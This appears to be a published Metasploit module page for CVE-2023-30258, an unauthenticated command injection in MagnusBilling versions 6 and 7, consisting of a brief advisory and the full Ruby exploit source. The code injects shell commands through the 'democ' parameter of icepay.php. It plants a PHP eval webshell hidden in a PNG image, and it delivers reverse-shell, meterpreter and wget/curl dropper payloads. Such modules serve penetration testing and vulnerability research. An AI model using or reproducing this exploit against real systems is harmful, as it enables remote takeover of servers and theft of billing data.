Authored by h00die-gr3y, Eldstal | Site metasploit.com

This Metasploit module exploits a command injection vulnerability in MagnusBilling application versions 6.x and 7.x that allows remote attackers to run arbitrary commands via an unauthenticated HTTP request. A piece of demonstration code is present in lib/icepay/icepay.php, with a call to an exec(). The parameter to exec() includes the GET parameter democ, which is controlled by the user and not properly sanitised/escaped. After successful exploitation, an unauthenticated user is able to execute arbitrary OS commands. The commands run with the privileges of the web server process, typically www-data or asterisk. At a minimum, this allows an attacker to compromise the billing system and its database.

advisories | CVE-2023-30258

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Exploit::Format::PhpPayloadPng
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'MagnusBilling application unauthenticated Remote Command Execution.',
'Description' => %q{
A Command Injection vulnerability in MagnusBilling application 6.x and 7.x allows
remote attackers to run arbitrary commands via unauthenticated HTTP request.
A piece of demonstration code is present in `lib/icepay/icepay.php`, with a call to an exec().
The parameter to exec() includes the GET parameter `democ`, which is controlled by the user and
not properly sanitised/escaped.
After successful exploitation, an unauthenticated user is able to execute arbitrary OS commands.
The commands run with the privileges of the web server process, typically `www-data` or `asterisk`.
At a minimum, this allows an attacker to compromise the billing system and its database.

The following MagnusBilling applications are vulnerable:
- MagnusBilling application version 6 (all versions);
- MagnusBilling application up to version 7.x without commit 7af21ed620 which fixes this vulnerability;
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
'Eldstal' # Discovery of the vulnerability

],
'References' => [
['CVE', '2023-30258'],
['URL', 'https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258'],
['URL', 'https://eldstal.se/advisories/230327-magnusbilling.html']
],
'DisclosureDate' => '2023-06-26',
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86],
'Privileged' => true,
'Targets' => [
[
'PHP',
{
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => ['linux'],
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'],
'Linemax' => 2048,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The MagnusBilling endpoint URL', '/mbilling' ]),
OptString.new('WEBSHELL', [
false, 'The name of the webshell with extension. Webshell name will be randomly generated if left unset.', nil
], conditions: %w[TARGET == 0])
])
end

def execute_command(cmd, _opts = {})
return send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'lib', 'icepay', 'icepay.php'),
'vars_get' =>
{
'democ' => "/dev/null;#{cmd};#"
}
})
end

def execute_php(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
return send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'lib', 'icepay', @webshell_name),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
@post_param => payload
}
})
end

def upload_webshell
# randomize file name if option WEBSHELL is not set
@webshell_name = if datastore['WEBSHELL'].blank?
"#{Rex::Text.rand_text_alpha(8..16)}.php"
else
datastore['WEBSHELL'].to_s
end

@post_param = Rex::Text.rand_text_alphanumeric(1..8)

# inject PHP payload into the PLTE chunk of a PNG image to hide the payload
php_payload = "<?php @eval(base64_decode($_POST['#{@post_param}']));?>"
png_webshell = inject_php_payload_png(php_payload, injection_method: 'PLTE')
return nil if png_webshell.nil?

# encode webshell data, set write and execute permissions and write to file on the target for execution
payload = Base64.strict_encode64(png_webshell.to_s)
cmd = "chmod 755 ./;echo #{payload}|base64 -d > ./#{@webshell_name}"
execute_command(cmd)
end

def check
print_status("Checking if #{peer} can be exploited.")
res = send_request_cgi!({
'method' => 'GET',
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path)
})
# Check if target is a magnusbilling application
return CheckCode::Unknown('No response received from target.') unless res
return CheckCode::Safe('Likely not a magnusbilling application.') unless res.code == 200 && res.body =~ /MagnusBilling/i

# blind command injection using sleep command
sleep_time = rand(4..8)
print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
_res, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_command("sleep #{sleep_time}")
end
print_status("Elapsed time: #{elapsed_time.round(2)} seconds.")
return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time

CheckCode::Vulnerable('Successfully tested command injection.')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :php
res = upload_webshell
fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200
register_file_for_cleanup(@webshell_name.to_s)
execute_php(payload.encoded)
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# Don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_cmdstager({ linemax: target.opts['Linemax'] })
end
end
end